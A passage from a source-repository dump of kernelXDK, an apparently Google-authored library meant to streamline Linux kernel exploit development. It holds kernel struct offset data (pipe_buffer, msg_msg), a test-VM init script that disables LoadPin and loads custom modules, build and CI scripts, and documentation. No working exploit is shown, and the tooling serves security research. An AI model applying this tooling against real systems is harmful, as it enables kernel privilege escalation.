COMMAND-END ===" in crash and "Attempted to kill init" in crash 51 | if not dmesg_success: 52 | print(f"Crashed:\n{crash}") 53 | return dmesg_success 54 | 55 | success = False 56 | try: 57 | success = check_tap() & check_dmesg() 58 | except Exception as e: 59 | print(str(e)) 60 | 61 | sys.exit(0 if success else 1) 62 | -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.36/structs.json: -------------------------------------------------------------------------------- 1 | { 2 | "pipe_buffer": { 3 | "size": 40, 4 | "fields": { 5 | "page": { 6 | "offset": 0, 7 | "size": 8 8 | }, 9 | "offset": { 10 | "offset": 8, 11 | "size": 4 12 | }, 13 | "len": { 14 | "offset": 12, 15 | "size": 4 16 | }, 17 | "ops": { 18 | "offset": 16, 19 | "size": 8 20 | }, 21 | "flags": { 22 | "offset": 24, 23 | "size": 8 24 | }, 25 | "private": { 26 | "offset": 32, 27 | "size": 8 28 | } 29 | } 30 | }, 31 | "pipe_buf_operations": { 32 | "size": 32, 33 | "fields": { 34 | "confirm": { 35 | "offset": 0, 36 | "size": 8 37 | }, 38 | "release": { 39 | "offset": 8, 40 | "size": 8 41 | }, 42 | "try_steal": { 43 | "offset": 16, 44 | "size": 8 45 | }, 46 | "get": { 47 | "offset": 24, 48 | "size": 8 49 | } 50 | } 51 | }, 52 | "msg_msg": { 53 | "size": 48, 54 | "fields": { 55 | "m_list.next": { 56 | "offset": 0, 57 | "size": 8 58 | }, 59 | "m_list.prev": { 60 | "offset": 8, 61 | "size": 8 62 | }, 63 | "m_type": { 64 | "offset": 16, 65 | "size": 8 66 | }, 67 | "m_ts": { 68 | "offset": 24, 69 | "size": 8 70 | }, 71 | "next": { 72 | "offset": 32, 73 | "size": 8 74 | }, 75 | "security": { 76 | "offset": 40, 77 | "size": 8 78 | } 79 | } 80 | } 81 | } -------------------------------------------------------------------------------- /libxdk/test/tests/UtilsTests.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include "test/TestUtils.h" 21 | #include "test/TestSuite.h" 22 | #include 23 | 24 | class UtilsTests: public TestSuite { 25 | cpu_set_t original_set_; 26 | public: 27 | UtilsTests(): TestSuite("UtilsStaticTests", "pwn utils tests") { } 28 | 29 | void init() { 30 | if (sched_getaffinity(0, sizeof(original_set_), &original_set_)) { 31 | throw errno_error("sched_getaffinity failed"); 32 | } 33 | } 34 | 35 | void deinit() { 36 | if (sched_setaffinity(0, sizeof(original_set_), &original_set_)) { 37 | throw errno_error("sched_setaffinity failed"); 38 | } 39 | } 40 | 41 | TEST_METHOD(pinsToCpu0, "pins to CPU 0") { 42 | pin_cpu(0); 43 | 44 | cpu_set_t expected; 45 | CPU_ZERO(&expected); 46 | CPU_SET(0, &expected); 47 | cpu_set_t actual; 48 | if (sched_getaffinity(0, sizeof(actual), &actual)) 49 | throw errno_error("sched_getaffinity failed"); 50 | ASSERT_NE(0, CPU_EQUAL(&expected, &actual)); 51 | } 52 | 53 | TEST_METHOD(pinsToInvalidCpuThrows, "pins to CPU -1 throws") { 54 | try { 55 | pin_cpu(-1); 56 | throw new ExpKitError("pin_cpu(-1) did not throw an exception"); 57 | } catch(const errno_error &e) { 58 | ASSERT_EQ("sched_setaffinity failed: Invalid argument", e.what()); 59 | } 60 | } 61 | }; 62 | -------------------------------------------------------------------------------- /image_runner/rootfs/init: -------------------------------------------------------------------------------- 1 | #!/busybox sh 2 | if [ ! -d /bin ]; then 3 | /busybox mkdir /bin 4 | /busybox --install -s /bin 5 | fi 6 | 7 | if [ ! -d /dev ]; then 8 | mkdir /dev 9 | fi 10 | 11 | mkdir -p /proc 12 | mount proc /proc -t proc 13 | 14 | mkdir -p /sys 15 | mount -t sysfs sysfs /sys 16 | 17 | mkdir -p /tmp 18 | mount -t tmpfs tmpfs /tmp 19 | 20 | if [ ! -e /output ]; then 21 | ln -s /dev/ttyS1 /output 22 | fi 23 | 24 | if [ ! -e /dev/vdb ]; then 25 | mount -t devtmpfs none /dev 26 | fi 27 | 28 | if [ -e /dev/vdb ]; then 29 | echo "Extracting rootfs.tar from /dev/vdb:" 30 | tar -xvf /dev/vdb 31 | fi 32 | 33 | if [ ! -z "$MOUNT_MODULES" ]; then 34 | echo "Mounting modules..." 35 | mkdir -p /mnt/modules 36 | mount -t ext4 "$MOUNT_MODULES" /mnt/modules 37 | 38 | mkdir -p /lib 39 | if [ -d /mnt/modules/lib/modprobe.d ]; then ln -s /mnt/modules/lib/modprobe.d /lib/; fi 40 | if [ -d /mnt/modules/lib/modules ]; then 41 | ln -s /mnt/modules/lib/modules /lib/ 42 | if [ ! -f /lib/modules/*/modules.dep ]; then 43 | echo "Running depmod (as modules.dep is missing)..." 44 | depmod 45 | sync # save file changes 46 | fi 47 | fi 48 | fi 49 | 50 | if [ ! -z "$MOUNT_CUSTOM_MODULES" ]; then 51 | echo "Extracting custom modules from $MOUNT_CUSTOM_MODULES:" 52 | mkdir -p /custom_modules 53 | tar -xvf "$MOUNT_CUSTOM_MODULES" -C /custom_modules 54 | fi 55 | 56 | # disable LoadPin 57 | for name in "enforce" "enabled"; do 58 | if [ -e "/proc/sys/kernel/loadpin/$name" ] && [ "$(cat /proc/sys/kernel/loadpin/$name)" != "0" ]; then 59 | echo 0 > "/proc/sys/kernel/loadpin/$name"; 60 | fi 61 | done 62 | 63 | for MODULE_FN in $(find /custom_modules -name '*.ko' 2>/dev/null); do 64 | echo "Loading custom module: $MODULE_FN" 65 | insmod $MODULE_FN 66 | done 67 | 68 | chmod o+rx / /bin /etc /dev /scripts 69 | 70 | if [ "$1" == "--" ]; then 71 | shift; 72 | fi 73 | 74 | if [ $# -gt 0 ]; then 75 | echo "Running command: $@" 76 | eval "$@" 77 | else 78 | echo "No commands were specified as init arguments. Opening a shell..." 79 | sh 80 | fi 81 | -------------------------------------------------------------------------------- /third_party/linux/scripts/extract-ikconfig: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------- 3 | # extract-ikconfig - Extract the .config file from a kernel image 4 | # 5 | # This will only work when the kernel was compiled with CONFIG_IKCONFIG. 6 | # 7 | # The obscure use of the "tr" filter is to work around older versions of 8 | # "grep" that report the byte offset of the line instead of the pattern. 9 | # 10 | # (c) 2009,2010 Dick Streefland 11 | # Licensed under the terms of the GNU General Public License. 12 | # ---------------------------------------------------------------------- 13 | 14 | #set -x 15 | cf1='IKCFG_ST\037\213\010' 16 | cf2='0123456789' 17 | 18 | dump_config() 19 | { 20 | if pos=`tr "$cf1\n$cf2" "\n$cf2=" < "$1" | grep -abo "^$cf2"` 21 | then 22 | echo POS=$pos 23 | pos=${pos%%:*} 24 | tail -c+$(($pos+8)) "$1" | zcat > $tmp1 2> /dev/null 25 | if [ $? != 1 ] 26 | then # exit status must be 0 or 2 (trailing garbage warning) 27 | cat $tmp1 28 | exit 0 29 | fi 30 | fi 31 | } 32 | 33 | try_decompress() 34 | { 35 | for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` 36 | do 37 | echo POS=$pos 38 | pos=${pos%%:*} 39 | tail -c+$pos "$img" | $3 > $tmp2 2> /dev/null 40 | dump_config $tmp2 41 | done 42 | } 43 | 44 | # Check invocation: 45 | me=${0##*/} 46 | img=$1 47 | if [ $# -ne 1 -o ! -s "$img" ] 48 | then 49 | echo "Usage: $me " >&2 50 | exit 2 51 | fi 52 | 53 | # Prepare temp files: 54 | tmp1=/tmp/ikconfig$$.1 55 | tmp2=/tmp/ikconfig$$.2 56 | trap "rm -f $tmp1 $tmp2" 0 57 | 58 | # Initial attempt for uncompressed images or objects: 59 | dump_config "$img" 60 | 61 | # That didn't work, so retry after decompression. 62 | # try_decompress '\037\213\010' xy gunzip 63 | # try_decompress '\3757zXZ\000' abcde unxz 64 | # try_decompress 'BZh' xy bunzip2 65 | # try_decompress '\135\0\0\0' xxx unlzma 66 | # try_decompress '\211\114\132' xy 'lzop -d' 67 | # try_decompress '\002\041\114\030' xyy 'lz4 -d -l' 68 | # try_decompress '\050\265\057\375' xxx unzstd 69 | 70 | # Bail out: 71 | echo "$me: Cannot find kernel config." >&2 72 | exit 1 73 | -------------------------------------------------------------------------------- /image_db/extract_structures.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env -S python3 -u 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | import json 17 | import sys 18 | 19 | PTR_SIZE = 8 20 | 21 | def debug(msg): 22 | if "--debug" in sys.argv: 23 | sys.stderr.write(f"{msg}\n") 24 | 25 | with open("btf.json", "rt") as f: 26 | btf = json.loads(f.read()) 27 | 28 | types_by_id = {s["id"]: s for s in btf["types"]} 29 | 30 | def find_size(o): 31 | if "size" in o: return o["size"] 32 | if o["kind"] == "PTR": return PTR_SIZE 33 | size = find_size(types_by_id[o["type_id"]]) 34 | return o["nr_elems"] * size if o["kind"] == "ARRAY" else size 35 | 36 | def add_fields(fields_obj, prefix, start_offs, members_arr): 37 | for m in members_arr: 38 | debug(f" processing field '{m['name']}'") 39 | field_name = f"{prefix}{m['name']}" 40 | t = types_by_id[m["type_id"]] 41 | offset = start_offs + (m["bits_offset"] // 8) 42 | 43 | if t["kind"] in ["STRUCT", "UNION"]: 44 | field_prefix = prefix if m["name"] == "(anon)" else f"{field_name}." 45 | add_fields(fields_obj, field_prefix, offset, t["members"]) 46 | else: 47 | size = m["bitfield_size"] // 8 if "bitfield_size" in m else find_size(t) 48 | fields_obj[field_name] = {"offset": offset, "size": size} 49 | 50 | structs = {} 51 | for s in filter(lambda s: s["kind"] == "STRUCT" and s["name"] != "(anon)", btf["types"]): 52 | debug(f"processing struct '{s['name']}' ({s['id']})") 53 | structs[s["name"]] = obj = {"size": s["size"], "fields": {}} 54 | add_fields(obj["fields"], "", 0, s["members"]) 55 | 56 | print(json.dumps(structs, indent=4)) 57 | -------------------------------------------------------------------------------- /libxdk/util/stdutils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | /** 25 | * @brief Checks if a vector contains a given value. 26 | * 27 | * @tparam T The type of elements in the vector. 28 | * @tparam T2 The type of the value to search for. 29 | * @param vec The vector to search within. 30 | * @param value The value to search for. 31 | * @return True if the value is found in the vector, false otherwise. 32 | */ 33 | template 34 | bool contains(const std::vector& vec, const T2& value) { 35 | return std::find(vec.begin(), vec.end(), value) != vec.end(); 36 | } 37 | 38 | /** 39 | * @brief Sorts a vector based on a field accessed by a getter function. 40 | */ 41 | template 42 | void sortByField(std::vector& vec, std::function fieldGetter) { 43 | std::sort(vec.begin(), vec.end(), [&fieldGetter](const T& obj1, const T& obj2) { 44 | return fieldGetter(obj1) < fieldGetter(obj2); 45 | }); 46 | } 47 | 48 | /** 49 | * @brief Finds a value in a map and returns it as an optional. 50 | * 51 | * @tparam Map The type of the map. 52 | * @tparam Key The type of the key. 53 | * @return An optional containing the value if the key is found, std::nullopt otherwise. 54 | */ 55 | template 56 | std::optional find_opt(const Map& m, const Key& k) { 57 | auto it = m.find(k); 58 | return it != m.end() ? std::optional(it->second) : std::nullopt; 59 | } -------------------------------------------------------------------------------- /docs/src/index.rst: -------------------------------------------------------------------------------- 1 | .. My Project Documentation 2 | 3 | ############################ 4 | kernelXDK 5 | ############################ 6 | 7 | kernelXDK: Streamlining Kernel Exploit Development 8 | ================================================= 9 | 10 | ``kernelXDK`` is an **open-source library** designed to significantly **streamline kernel exploit development**. It addresses common challenges in this domain by **reducing repetitive tasks**, fostering **exploit universality across Linux distributions**, and enhancing **exploit readability**. 11 | 12 | Key Features and Benefits 13 | -------------------------- 14 | 15 | * **Eliminates Tedious Maintenance**: ``kernelXDK`` removes the burden of maintaining **version-specific offsets and gadgets** across different Linux releases, a task often found tedious by developers. 16 | 17 | * **Enhances Focus on Innovation**: By abstracting away mundane tasks, the library allows developers to concentrate on the more **challenging and innovative aspects of kernel exploitation**. 18 | 19 | * **Universal Exploit Compatibility**: It enables the creation of **universal exploits** that function seamlessly across various Linux flavors. 20 | 21 | * **Improved Readability**: The library's design promotes **improved exploit readability**, making the code easier to understand and maintain. 22 | 23 | * **Designed for Broad Support**: ``kernelXDK`` is engineered with the capability to support a wide range of kernel exploitation scenarios and environments. 24 | 25 | 26 | .. toctree:: 27 | :maxdepth: 2 28 | :caption: About 29 | 30 | about/introduction 31 | about/kxdb_database 32 | 33 | .. toctree:: 34 | :maxdepth: 2 35 | :caption: libxdk 36 | 37 | libxdk/README 38 | libxdk/how_to_get_started 39 | libxdk/sample_exploit 40 | libxdk/api 41 | 42 | .. toctree:: 43 | :maxdepth: 1 44 | :caption: Command Line Tools 45 | 46 | commandline_tools/image_db 47 | commandline_tools/image_runner 48 | commandline_tools/kxdb_tool 49 | commandline_tools/rop_generator 50 | 51 | .. note:: 52 | This documentation is still under active development. If you find any issues 53 | or have suggestions, please open an issue on our `GitHub repository`_. 54 | 55 | .. _GitHub repository: https://github.com/google/kernel-research 56 | -------------------------------------------------------------------------------- /libxdk/include/xdk/util/error.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | 25 | /** 26 | * @defgroup util_classes Utility Classes 27 | * @brief Helper classes for various utilities. 28 | */ 29 | 30 | /** 31 | * @ingroup util_classes 32 | * @brief Custom exception class for ExpKit-specific errors. 33 | */ 34 | struct ExpKitError : public std::runtime_error { 35 | /** 36 | * @brief Constructs an ExpKitError with a single error message. 37 | * @param error_msg The error message. 38 | */ 39 | template 40 | ExpKitError(const char* error_msg): std::runtime_error(error_msg) {} 41 | 42 | /** 43 | * @brief Constructs an ExpKitError with a formatted error message. 44 | * @tparam Args The types of the arguments for the format string. 45 | * @param format The format string. 46 | * @param args The arguments for the format string. 47 | */ 48 | template 49 | ExpKitError(const char* format, const Args&... args): std::runtime_error(format_str(format, args...)) {} 50 | }; 51 | 52 | /** 53 | * @ingroup util_classes 54 | * @brief Represents an error based on the current value of errno. 55 | */ 56 | struct errno_error: std::system_error { 57 | /** 58 | * @brief Constructs an errno_error with the current errno value. 59 | */ 60 | errno_error(); 61 | 62 | /** 63 | * @brief Constructs an errno_error with the current errno value and an additional message. 64 | * @param __what An additional message describing the error. 65 | */ 66 | errno_error(const char* __what); 67 | }; -------------------------------------------------------------------------------- /kxdb_tool/test/test_image_db_utils.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Tests for image_db_utils.py file.""" 16 | 17 | import logging 18 | import unittest 19 | import test.config as config 20 | from converter.image_db_utils import collect_image_db_targets, get_targets_from_image_db 21 | from converter.kxdb_writer import KxdbWriter 22 | from data_model.db import Db 23 | from data_model.meta import MetaConfig 24 | from test.utils import MOCK_DB_DIR, RELEASES_DIR, expect_file, ExceptionRaisingLogger 25 | 26 | class ImageDbUtilsTests(unittest.TestCase): 27 | """Tests for the image_db_utils.py file.""" 28 | 29 | def expect_db(self, db_path, release_filter, expected_fn, expected_target_count=1): 30 | with expect_file(expected_fn) as f: 31 | meta_config = MetaConfig.from_desc(config.symbols, config.rop_actions, config.structs) 32 | targets = get_targets_from_image_db(meta_config, db_path, release_filter, ExceptionRaisingLogger(__name__), False, True) 33 | self.assertEqual(expected_target_count, len(targets)) 34 | db = Db(meta_config, targets) 35 | KxdbWriter(db).write_to_file(f.name) 36 | 37 | def test_generate_lts_6_1_36_db(self): 38 | self.expect_db(MOCK_DB_DIR, "kernelctf/lts-6.1.36", "lts_6_1_36_db.kxdb") 39 | 40 | def test_generate_lts_6_1_38_db(self): 41 | self.expect_db(MOCK_DB_DIR, "kernelctf/lts-6.1.38", "lts_6_1_38_db.kxdb") 42 | 43 | def test_missing_files(self): 44 | targets = collect_image_db_targets(RELEASES_DIR, "bad/missing_files") 45 | self.assertEqual(1, len(targets)) 46 | self.assertEqual("missing_files", targets[0].release_name) 47 | self.assertListEqual(["version.txt", "symbols.txt", "rop_actions.json", 48 | "stack_pivots.json", "structs.json"], targets[0].missing_files) 49 | -------------------------------------------------------------------------------- /image_runner/test/run_stability_test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | set -e 17 | 18 | SCRIPT_DIR=$(dirname $(realpath "$0")) 19 | RUNNER_DIR="$SCRIPT_DIR/.." 20 | LOG_DIR="$SCRIPT_DIR/stability_test_outputs" 21 | 22 | cd "$SCRIPT_DIR" 23 | 24 | DISTRO="${1:-ubuntu}" 25 | RELEASE="${2:-4.15.0-20.21}" 26 | # echo "${@:3}" 27 | RELEASE_DIR="$SCRIPT_DIR/../../image_db/releases/$DISTRO/$RELEASE" 28 | 29 | echo "Updating rootfs..." 30 | (cd $RUNNER_DIR; ./update_rootfs_image.sh) 31 | 32 | if [[ ( ! -v CUSTOM_MODULES_KEEP || ! -f "$RELEASE_DIR/custom_modules.tar") ]]; then 33 | echo "Compiling xdk_device module..." 34 | (cd $RUNNER_DIR; ./compile_custom_modules.sh "$DISTRO" "$RELEASE" xdk_device) || (echo "failed: $?..." && exit 1) 35 | fi 36 | 37 | mkdir -p $LOG_DIR || true 38 | rm $LOG_DIR/round_* 2>/dev/null || true 39 | 40 | echo "Running tests..." 41 | ROUNDS=20 42 | RESULT=$(parallel -j$(nproc) -i ./run_stability_test_round.sh {} "$DISTRO" "$RELEASE" --custom-modules=keep ${@:3} -- $(seq 1 $ROUNDS) | sort -V || true) 43 | stty sane 2>/dev/null || true 44 | 45 | echo "Results:" 46 | echo "$RESULT" 47 | echo 48 | SUCCESS=$(echo "$RESULT"|grep Success|wc -l) 49 | FIRST_PANIC_FN_ID=$(echo "$RESULT"|grep panic|head -n 1|grep -o '[0-9]\+'|head -n 1 || true) 50 | PERCENT=$(( (SUCCESS * 100) / ROUNDS)) 51 | 52 | echo "Summary: $SUCCESS success runs out of $ROUNDS => $PERCENT%" 53 | if [ ! -z "$FIRST_PANIC_FN_ID" ]; then 54 | FN="$LOG_DIR/round_${FIRST_PANIC_FN_ID}" 55 | cp "${FN}_dmesg.txt" "$LOG_DIR/panic_sample.txt" 56 | echo "First panic:" 57 | cat "${FN}_dmesg.txt"|grep -m1 -A14 "\] BUG: " 58 | echo "See ${FN}_{dmesg,output} for more info" 59 | fi 60 | stty sane 2>/dev/null || true 61 | 62 | exit $(( $PERCENT < 100 )) 63 | -------------------------------------------------------------------------------- /kxdb_tool/converter/kxdb_file.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import os 16 | 17 | from data_model.db import Db 18 | from data_model.serialization import from_json, to_json 19 | from converter.kxdb_reader import KxdbReader 20 | from converter.kxdb_writer import KxdbWriter 21 | from pydantic import RootModel, TypeAdapter 22 | 23 | def dump_yaml(data, f): 24 | import yaml 25 | class IndentedDumper(yaml.SafeDumper): 26 | def increase_indent(self, flow=False, indentless=False): 27 | return super(IndentedDumper, self).increase_indent(flow, False) 28 | return yaml.dump(data, f, Dumper=IndentedDumper, default_flow_style=False, sort_keys=False) 29 | 30 | def read_kxdb(fn): 31 | _, ext = os.path.splitext(fn) 32 | match ext: 33 | case ".kxdb": 34 | return KxdbReader().read_from_file(fn) 35 | case ".json": 36 | with open(fn, "rt") as f: 37 | return from_json(Db, f.read()) 38 | case ".yaml": 39 | with open(fn, "rt") as f: 40 | import yaml 41 | obj = yaml.safe_load(f) 42 | return TypeAdapter(Db).validate_python(obj) 43 | case _: 44 | raise Exception(f"Unsupported file extension '{ext}'. Only .kxdb, .json and .yaml are supported.") 45 | 46 | def write_kxdb(fn, db, indent=None): 47 | _, ext = os.path.splitext(fn) 48 | match ext: 49 | case ".kxdb": 50 | KxdbWriter(db).write_to_file(fn) 51 | case ".json": 52 | with open(fn, "wt") as f: 53 | f.write(to_json(db, indent=indent)) 54 | case ".yaml": 55 | data = RootModel[Db](db).model_dump(exclude_none=True) 56 | with open(fn, "wt") as f: 57 | dump_yaml(data, f) 58 | case _: 59 | raise Exception(f"Unsupported file extension '{ext}'. Only .kxdb, .json and .yaml are supported.") 60 | -------------------------------------------------------------------------------- /docs/src/libxdk/generate_api_rst.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import os 16 | 17 | def generate_api_rst(groups, output_file='api.rst'): 18 | """ 19 | Generates an api.rst file with sections for each Doxygen group. 20 | 21 | Args: 22 | groups (list): A list of tuples, where each tuple contains 23 | (group_id, group_title). 24 | output_file (str): The name of the output .rst file. 25 | """ 26 | with open(output_file, 'w') as f: 27 | f.write("API Reference\n") 28 | f.write("=============\n\n") 29 | f.write(".. toctree::\n") 30 | f.write(" :maxdepth: 2\n\n") 31 | 32 | for group_id, group_title in groups: 33 | # Add a link to the group section in the toctree 34 | f.write(f" {group_id}\n") 35 | 36 | # Create a separate .rst file for each group 37 | with open(f"{group_id}.rst", 'w') as group_file: 38 | group_file.write(f"{group_title}\n") 39 | group_file.write(f"{'=' * len(group_title)}\n\n") 40 | group_file.write(f".. doxygengroup:: {group_id}\n") 41 | group_file.write(" :project: kernelXDK\n") 42 | group_file.write(" :members:\n") 43 | group_file.write(" :content-only:\n") 44 | 45 | if __name__ == "__main__": 46 | # Your Doxygen groups from the project 47 | doxygen_groups = [ 48 | ("xdk_device_classes", "XDK Device Module"), 49 | ("rip_classes", "RIP Module"), 50 | ("target_classes", "Target Module"), 51 | ("util_classes", "Utility Module"), 52 | ("pivot_classes", "Pivot Module"), 53 | ("payloads_classes", "Payloads Module") 54 | ] 55 | 56 | generate_api_rst(doxygen_groups) 57 | print("Successfully generated api.rst and individual group files.") 58 | -------------------------------------------------------------------------------- /.github/workflows/test-libxdk-all.yml: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | name: Test libxdk on all targets 16 | on: 17 | workflow_dispatch: 18 | permissions: {} 19 | jobs: 20 | collect_targets: 21 | runs-on: ubuntu-latest 22 | outputs: 23 | targets: ${{ steps.collect_targets.outputs.targets }} 24 | steps: 25 | - name: Checkout repo 26 | uses: actions/checkout@v4 27 | 28 | - name: Authenticate to Google Cloud 29 | uses: google-github-actions/auth@v2 30 | with: 31 | credentials_json: '${{ secrets.DB_GCS_SA_KEY }}' 32 | 33 | - name: Install tool prerequisites 34 | run: | 35 | cd kxdb_tool 36 | pip install -r requirements.txt 37 | 38 | - name: Collect targets 39 | id: collect_targets 40 | run: | 41 | gcloud storage cp gs://kernelxdk/db/kernelctf.kxdb kernelctf.kxdb 42 | echo "targets=$(kxdb_tool/kxdb_tool.py -i kernelctf.kxdb --list-targets | sed "s/\//\ /" | jq -Rsc 'split("\n") | map(select(length > 0))')" >> $GITHUB_OUTPUT 43 | 44 | tests: 45 | needs: collect_targets 46 | strategy: 47 | matrix: 48 | target: ${{ fromJson(needs.collect_targets.outputs.targets) }} 49 | fail-fast: false # do not cancel test of other targets 50 | uses: ./.github/workflows/test-libxdk.yml 51 | secrets: inherit 52 | permissions: 53 | pull-requests: read 54 | with: 55 | target: ${{ matrix.target }} 56 | silence_notifications: true 57 | 58 | summary: 59 | runs-on: ubuntu-latest 60 | needs: tests 61 | if: always() 62 | steps: 63 | - name: Checkout repo 64 | uses: actions/checkout@v4 65 | 66 | - name: Send Google Chat Notification (on failure) 67 | if: ${{ needs.tests.result != 'success' }} 68 | env: 69 | WEBHOOK_URL: ${{ secrets.WEBHOOK_EXPKIT }} 70 | run: node ./.github/scripts/send_notification.js 71 | -------------------------------------------------------------------------------- /libxdk/run_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | set -e 17 | 18 | SCRIPT_DIR=$(dirname $(realpath "$0")) 19 | 20 | DISTRO="${1:-kernelctf}" 21 | RELEASE_NAME="${2:-lts-6.1.81}" 22 | TIMES="${3:-1}" 23 | TEST_RUNNER_ARGS="${@:4}" 24 | 25 | RELEASE_DIR="$SCRIPT_DIR/../image_db/releases/$DISTRO/$RELEASE_NAME" 26 | 27 | ./build.sh 28 | cp build/test/kernelXDKTests ../image_runner/rootfs/test_runner 29 | 30 | mkdir -p ../image_runner/rootfs/test/ 31 | cp -r test/artifacts ../image_runner/rootfs/test/ 32 | 33 | echo "Updating rootfs..." 34 | (cd ../image_runner; ./update_rootfs_image.sh) 35 | 36 | $SCRIPT_DIR/../image_db/download_release.sh "$DISTRO" "$RELEASE_NAME" "vmlinuz" 37 | 38 | if [[ "$CUSTOM_MODULES" != "keep" && ( -z "$CUSTOM_MODULES_KEEP" || ! -f "$RELEASE_DIR/custom_modules.tar") ]]; then 39 | echo "Building xdk kernel module..." 40 | $SCRIPT_DIR/../image_db/download_release.sh "$DISTRO" "$RELEASE_NAME" "modules" 41 | $SCRIPT_DIR/../image_runner/compile_custom_modules.sh "$DISTRO" "$RELEASE_NAME" xdk_device 42 | fi 43 | 44 | mkdir -p test_results 45 | rm test_results/round_* test_results/dmesg_* 2>/dev/null || true 46 | 47 | echo "Running tests..." 48 | for i in $(seq 1 